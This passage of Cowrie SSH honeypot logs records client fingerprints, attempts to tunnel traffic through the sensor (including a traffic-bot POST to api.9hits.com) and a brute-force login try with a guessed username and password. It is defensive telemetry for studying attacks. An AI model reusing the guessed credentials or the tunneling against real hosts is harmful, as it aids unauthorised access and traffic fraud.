.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:17.471742Z","src_ip":"91.92.40.36","session":"759dcffeb3f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.4","message":"Connection lost after 10.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:18.651098Z","src_ip":"91.92.40.36","session":"b949f9e22dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51576,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc40dc4df09","protocol":"ssh","message":"New connection: 91.92.40.36:51576 (159.203.135.109:22) [session: fcc40dc4df09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:22.180485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:23.790553Z","src_ip":"91.92.40.36","session":"fcc40dc4df09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:23.806693Z","src_ip":"91.92.40.36","session":"fcc40dc4df09","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:24.955966Z","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:24.961246Z","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:24.964536Z","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.004913Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.5.1 Mobile/17F80 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bT5TbUtrZ2Rne1lBYkp4bA%3D%3DwkekrOIlFnX7JhhdBfFmQtn3Ay3ESOl0QtzjdV0opooLx3yVVrLREOVkXLkQYHVmXHA5iLiekxpGzCKxoT4V4uFaEb7MJmQqpl4O4jFQoB%2Fdk4le12oYA7XlbmbrLn3dDcIBSBR3dl7JnbvR5%2FYJxha%2B9Z7ja%2B2ECAEaTcOxP5NQn4AhJBeQdWSGzL7KyRRxL%2FlzT3%2FNDUl509JHeC%2B4cfzDZghk3iP%2Fl6Eb9HknKLiXV4ui3aT9bauFcAEUwgLzniJ3MxMJSnd%2FneTJ8OgHn%2FX4D8C37vKt7U4MtcDdmQBR7PzLrxm4IrpOMoZu9mEuleWKpvqAxy2jLYDVy7Kv5B5dgw%2FE2AEekSugeoo4JfGNEm%2BCKdTdMu%2BGQU5H4Flx3Y4MepQo7lQ2XhgZgmkI3AjMQCjjuOfP5ZlPKyUzquC9Ji%2BFxGEsi2U%2BgrP2EcYo9ebslVQ8dJulCySzn7UZMyIZjusA5BrnsdKK4Oz3oGpuF9Lzzr2znJtubBMrSxfNgAFhvw2YT1DHvyf8m1XmjOz%2FpHBq%2BwTJqR16yxGHpB0gml%2Fx%2FtiEAwFLUxiGadMh1sVhlbXoxK2JSQssPcmVU4Gvp%2BDPRNM8BQ7uiRUC8lsnP0wyIDzF4lJ9qSnvnXouvJq6tnPXFZ5ki43U4ogrWdW4SNgdW%2FzAfcNWn9GFb%2BnBaNTXrE5cse%2FJTJAfIRVrbpx1fMlBdXUQELFRSLv9dOe1sMwtvCDsM5udXZjSjulgQ7KDz5mV9jBzeLUiWLfVjVK8RGFFYB3OXtJKtWETJapOSvI7xIf1otYULLE%2BE2wBoW2ee%2BjsduKFuPQvSlh8i%2F6BU4xThHYEZR%2BaKSWZJhABpP4nmg5OLilFACUduZo0RD%2FyrHfrUwc0UxQcUFvRS3HCVXNPMZjs%2B85jC2eLnIqSJiXN094XAzCGvNikADJFpDm%2FvQeVZcCHQ52Jgp0IypuzhcAB2DIxpY0wml%2FalGvThC5qPgXFNTlyP0KVmOdXvCxUpmjkSpWpn37swNlebZfi277XW7FYjKFKG5oqtCCYFfGb5l%2BMglOOoH%2BnIkA%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.5.1 Mobile/17F80 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bT5TbUtrZ2Rne1lBYkp4bA%3D%3DwkekrOIlFnX7JhhdBfFmQtn3Ay3ESOl0QtzjdV0opooLx3yVVrLREOVkXLkQYHVmXHA5iLiekxpGzCKxoT4V4uFaEb7MJmQqpl4O4jFQoB%2Fdk4le12oYA7XlbmbrLn3dDcIBSBR3dl7JnbvR5%2FYJxha%2B9Z7ja%2B2ECAEaTcOxP5NQn4AhJBeQdWSGzL7KyRRxL%2FlzT3%2FNDUl509JHeC%2B4cfzDZghk3iP%2Fl6Eb9HknKLiXV4ui3aT9bauFcAEUwgLzniJ3MxMJSnd%2FneTJ8OgHn%2FX4D8C37vKt7U4MtcDdmQBR7PzLrxm4IrpOMoZu9mEuleWKpvqAxy2jLYDVy7Kv5B5dgw%2FE2AEekSugeoo4JfGNEm%2BCKdTdMu%2BGQU5H4Flx3Y4MepQo7lQ2XhgZgmkI3AjMQCjjuOfP5ZlPKyUzquC9Ji%2BFxGEsi2U%2BgrP2EcYo9ebslVQ8dJulCySzn7UZMyIZjusA5BrnsdKK4Oz3oGpuF9Lzzr2znJtubBMrSxfNgAFhvw2YT1DHvyf8m1XmjOz%2FpHBq%2BwTJqR16yxGHpB0gml%2Fx%2FtiEAwFLUxiGadMh1sVhlbXoxK2JSQssPcmVU4Gvp%2BDPRNM8BQ7uiRUC8lsnP0wyIDzF4lJ9qSnvnXouvJq6tnPXFZ5ki43U4ogrWdW4SNgdW%2FzAfcNWn9GFb%2BnBaNTXrE5cse%2FJTJAfIRVrbpx1fMlBdXUQELFRSLv9dOe1sMwtvCDsM5udXZjSjulgQ7KDz5mV9jBzeLUiWLfVjVK8RGFFYB3OXtJKtWETJapOSvI7xIf1otYULLE%2BE2wBoW2ee%2BjsduKFuPQvSlh8i%2F6BU4xThHYEZR%2BaKSWZJhABpP4nmg5OLilFACUduZo0RD%2FyrHfrUwc0UxQcUFvRS3HCVXNPMZjs%2B85jC2eLnIqSJiXN094XAzCGvNikADJFpDm%2FvQeVZcCHQ52Jgp0IypuzhcAB2DIxpY0wml%2FalGvThC5qPgXFNTlyP0KVmOdXvCxUpmjkSpWpn37swNlebZfi277XW7FYjKFKG5oqtCCYFfGb5l%2BMglOOoH%2BnIkA%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.007895Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.014277Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xf0\\xe3\\x8f#\\xbe/\\x96/\\xae\\x0cU\\xe3\\x8a\\xdb\\x00w\\xc2]\\xd2E\\xc6pL\\xf7\\xe6d\\xd7A4Y2 ?\\x9bgk\\xe6\\xcal\\x0b\\x9e$\\x89\\xefs\\x9f\\xcc\\xa6\\xd4\\xddYv\\xb1RxCt\\x98=\\x9e\\xfe\\xf3*\\xe0\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2_\\xee\\xe2\\xa5\\xc2uq/-\\xc4@Z0U\\x96o5\\x87\\x80\\xb4\\x01\\x8f\\x9cFp\\xa4@K\\x8f6R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd2\\xf0\\xe3\\x8f#\\xbe/\\x96/\\xae\\x0cU\\xe3\\x8a\\xdb\\x00w\\xc2]\\xd2E\\xc6pL\\xf7\\xe6d\\xd7A4Y2 ?\\x9bgk\\xe6\\xcal\\x0b\\x9e$\\x89\\xefs\\x9f\\xcc\\xa6\\xd4\\xddYv\\xb1RxCt\\x98=\\x9e\\xfe\\xf3*\\xe0\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb2_\\xee\\xe2\\xa5\\xc2uq/-\\xc4@Z0U\\x96o5\\x87\\x80\\xb4\\x01\\x8f\\x9cFp\\xa4@K\\x8f6R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.017167Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.066888Z","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.100507Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0bR-\\xb7!\\x95\\x0c\\xad6#P\\xcd\\xd6t7h\\xd0\\x8ep%\\xb7\\xcd\\x0e\\xfd \\x11\\x9a\\xd0\\x0e8^\\x9b \\x9e\\xcf\\xc5\\xaf$\\xccX,\\xa5\\xe4\\xb1\\xb8\\xae)\\x97\\xc5\\x98\\xe7\\x85\\xcf\\x91\\xb6\\xcfP\\xcc\"\\xcd\\x19\\x7f\\xaeO\\xfd\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\}\\xc8\\\\\\x8d\\x8c\\x95\\\\Z\\xa8\\xff\\xfd\\x1e\\x05\\xe2\\xab\\xec\\xf8b\\xef\\xc1\\xec\\x0ch\\x97\\xa1\\xa7\\xd7\\x05\\xbf\\x94[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0bR-\\xb7!\\x95\\x0c\\xad6#P\\xcd\\xd6t7h\\xd0\\x8ep%\\xb7\\xcd\\x0e\\xfd \\x11\\x9a\\xd0\\x0e8^\\x9b \\x9e\\xcf\\xc5\\xaf$\\xccX,\\xa5\\xe4\\xb1\\xb8\\xae)\\x97\\xc5\\x98\\xe7\\x85\\xcf\\x91\\xb6\\xcfP\\xcc\"\\xcd\\x19\\x7f\\xaeO\\xfd\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\}\\xc8\\\\\\x8d\\x8c\\x95\\\\Z\\xa8\\xff\\xfd\\x1e\\x05\\xe2\\xab\\xec\\xf8b\\xef\\xc1\\xec\\x0ch\\x97\\xa1\\xa7\\xd7\\x05\\xbf\\x94[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:25.103749Z","src_ip":"63.141.242.2","session":"cd7d2f4dcb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1a2s3d4f","message":"login attempt [ubuntu/1a2s3d4f] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:18:26.297065Z","src_ip":"91.92.40.36","session":"759dcffeb3f6","protocol":"ssh"}
